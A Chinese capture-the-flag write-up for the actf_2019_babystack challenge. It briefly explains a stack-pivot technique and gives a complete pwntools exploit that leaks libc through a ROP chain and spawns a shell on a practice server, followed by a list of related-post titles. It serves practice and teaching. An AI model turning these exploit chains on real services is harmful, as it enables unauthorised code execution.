actf_2019_babystack

查看保护


溢出0x10个字节,大小不够。栈迁移,s的地址都给了,将payload写入s,改ebp和ret为s地址和leave_ret即可。payload前加8个a让rip成功跳转到payload。

from pwn import *context(arch='amd64', os='linux', log_level='debug')file_name = './z1r0'debug = 1
if debug:r = remote('node4.buuoj.cn', 26062)
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)r.recvuntil("Welcome to ACTF's babystack!")r.recvuntil('How many bytes of your message?')
r.recvuntil('>')
r.sendline('224')r.recvuntil('0x')
message_addr = int(r.recv(12), 16)
success('message_addr = ' + hex(message_addr))
r.recvuntil('What is the content of your message?')
r.recvuntil('>')puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leave_ret = 0x400A18
main_addr = 0x4008F6
pop_rdi_ret = 0x0000000000400ad3p1 = b'a' * 8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p1 = p1.ljust(0xd0, b'\x00')
p1 += p64(message_addr) + p64(leave_ret)
r.send(p1)puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('puts_addr = ' + hex(puts_addr))
libc = ELF('./libc-2.27.so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__()
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_baser.recvuntil('How many bytes of your message?')
r.recvuntil('>')
r.sendline('224')r.recvuntil('0x')
message_addr = int(r.recv(12), 16)
success('message_addr = ' + hex(message_addr))
r.recvuntil('What is the content of your message?')
r.recvuntil('>')ret = 0x400A4F#p2 = b'a' * 8 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
p2 = b'a' * 8 + p64(ret) + p64(one_gadget)
p2 = p2.ljust(0xd0, b'\x00')
p2 += p64(message_addr) + p64(leave_ret)
r.send(p2)r.interactive()

actf_2019_babystack相关推荐

  1. PWN-PRACTICE-BUUCTF-20

    PWN-PRACTICE-BUUCTF-20 actf_2019_babystack picoctf_2018_can_you_gets_me picoctf_2018_got_shell mrctf ...

  2. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  3. BUUCTF pwn wp 76 - 80

    cmcc_pwnme2 int __cdecl userfunction(char *src) {char dest[108]; // [esp+Ch] [ebp-6Ch] BYREFstrcpy(d ...

  4. 2021-10-11 Pwn练习记录

    文章目录 easy 题目 分析 EXP 重做note2 分析 EXP 重做[ZJCTF_2019]Easyheap 分析 EXP 重做actf_2019_babystack 分析 EXP 重做gyct ...

最新文章

  1. vs2012 error c4996: 'fopen': This function or variable may be unsafe
  2. ftp限流java,FTP流量限制的方法
  3. 双11特刊|十年磨一剑,云原生多模数据库Lindorm 2021双11总结
  4. 碾压专业机构,27岁华裔小伙推出美国最准新冠预测模型
  5. 公开课|智能文本信息抽取算法的进阶与应用
  6. keepalived详解(二)——keepalived安装与配置文件
  7. Atitit 搜索的艺术 目录 1. 索引基础 2 1.1. 单词-文档矩阵 2 1.2. 倒排索引基本概念 3 2. 建立索引 4 2.1. 两遍文档遍历法(2-Pass In-Memory In
  8. linux 下的igv软件,IGV软件使用指南
  9. bzoj2144 跳跳棋
  10. PCIE 3.0 4.0 GEN3 GEN4 速度如何
  11. 基于C语言的网络电子词典
  12. Microsoft Word教程:如何在 Word 中创建文档、添加和编辑文本?
  13. Python图像处理库PIL中图像格式转换(一)
  14. luoguP4466 [国际集训队]和与积 莫比乌斯反演
  15. matlab拉普拉斯变换锐化,图像的拉普拉斯锐化方法及讨论
  16. Debian中文美化
  17. EventBus 事件机制详解(Google Guava)
  18. Oracle中误删数据找回方法
  19. centos离线安装Chrome浏览器
  20. 【经验分享】抖音电商金句200条,条条干货,句句扎心!

热门文章

  1. 南京东路打卡地上海惊魂密境打造老上海新年味
  2. LocalDate、LocalDateTime互转String
  3. 第一个redis应用方法导致的提示redis LRANGE命令超时问题的解决
  4. 全面认识海思SDK及嵌入式层开发(1)
  5. C语言指针数组介绍,定义指针数组,输入输出指针数组
  6. 若依代码生成器的使用
  7. 矩阵论复习笔记-华中科技大学
  8. 21天打卡Andoid学到的一些小知识-第十五十六天
  9. 2.使用insightface读取视频进行人脸识别
  10. 工程师姓什么很重要!别再叫我 “X 工”!!!